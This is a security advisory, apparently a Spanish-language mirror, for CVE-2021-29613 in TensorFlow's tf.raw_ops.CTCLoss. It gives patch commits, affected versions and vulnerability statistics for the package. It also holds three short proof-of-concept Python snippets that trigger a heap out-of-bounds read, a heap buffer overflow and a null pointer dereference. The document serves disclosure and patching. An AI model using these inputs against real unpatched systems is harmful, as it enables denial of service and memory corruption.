Incomplete validation in `tf.raw_ops.CTCLoss`
Impact
Incomplete validation in tf.raw_ops.CTCLoss allows an attacker to trigger an OOB read from heap:
import tensorflow as tf
inputs = tf.constant([], shape=[10, 16, 0], dtype=tf.float32)
labels_indices = tf.constant([], shape=[8, 0], dtype=tf.int64)
labels_values = tf.constant([-100] * 8, shape=[8], dtype=tf.int32)
sequence_length = tf.constant([-100] * 16, shape=[16], dtype=tf.int32)
tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,
labels_values=labels_values, sequence_length=sequence_length,
preprocess_collapse_repeated=True, ctc_merge_repeated=False,
ignore_longer_outputs_than_inputs=True)An attacker can also trigger a heap buffer overflow:
import tensorflow as tf
inputs = tf.constant([], shape=[7, 2, 0], dtype=tf.float32)
labels_indices = tf.constant([-100, -100], shape=[2, 1], dtype=tf.int64)
labels_values = tf.constant([-100, -100], shape=[2], dtype=tf.int32)
sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)
tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,
labels_values=labels_values, sequence_length=sequence_length,
preprocess_collapse_repeated=False, ctc_merge_repeated=False,
ignore_longer_outputs_than_inputs=False)Finally, an attacker can trigger a null pointer dereference:
import tensorflow as tf
inputs = tf.constant([], shape=[0, 2, 11], dtype=tf.float32)
labels_indices = tf.constant([], shape=[0, 2], dtype=tf.int64)
labels_values = tf.constant([], shape=[0], dtype=tf.int32)
sequence_length = tf.constant([-100, -100], shape=[2], dtype=tf.int32)
tf.raw_ops.CTCLoss(inputs=inputs, labels_indices=labels_indices,
labels_values=labels_values, sequence_length=sequence_length,
preprocess_collapse_repeated=False, ctc_merge_repeated=False,
ignore_longer_outputs_than_inputs=False)Patches
We have patched the issue in GitHub commit14607c0707040d775e06b6817325640cb4b5864c followed by GitHub commit 4504a081af71514bb1828048363e6540f797005b.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick these commits on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Python (PyPI) | tensorflow | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
| Python (PyPI) | tensorflow-cpu | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
| Python (PyPI) | tensorflow-gpu | < 2.1.4, >= 2.2.0, < 2.2.3, >= 2.3.0, < 2.3.3, >= 2.4.0, < 2.4.2 | 2.1.4, 2.2.3, 2.3.3, 2.4.2 |
Referencias
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vvg4-vgrv-xfr7
- https://github.com/tensorflow/tensorflow/commit/14607c0707040d775e06b6817325640cb4b5864c
- https://github.com/tensorflow/tensorflow/commit/4504a081af71514bb1828048363e6540f797005b
- https://nvd.nist.gov/vuln/detail/CVE-2021-29613
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-541.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-739.yaml
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-250.yaml
- https://github.com/tensorflow/tensorflow
- Vector CVSS
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H- Debilidad (CWE)
CWE-125, CWE-665- Plataforma
- Python (PyPI)
- Paquete
tensorflow, tensorflow-cpu, tensorflow-gpu- Publicada
- 14.05.2021
- Actualizado
- 11.10.2026 15:17
Fuentes y licencias
OSV / GitHub Advisory Database - PYSEC-2021-250 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2021-541 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - PYSEC-2021-739 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-vvg4-vgrv-xfr7 - CC BY 4.0
Historial de vulnerabilidades: tensorflow-gpu
Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 427
- Primera → última
- 04.2019 07.2024
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 6
- Alta 109
- Media 207
- Baja 105
Divulgaciones por año
- 2019: 7
- 2020: 35
- 2021: 200
- 2022: 166
- 2023: 18
- 2024: 1
- 2025: 0
- 2026: 0
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Incomplete validation in `tf.raw_ops.CTCLoss` esta entrada
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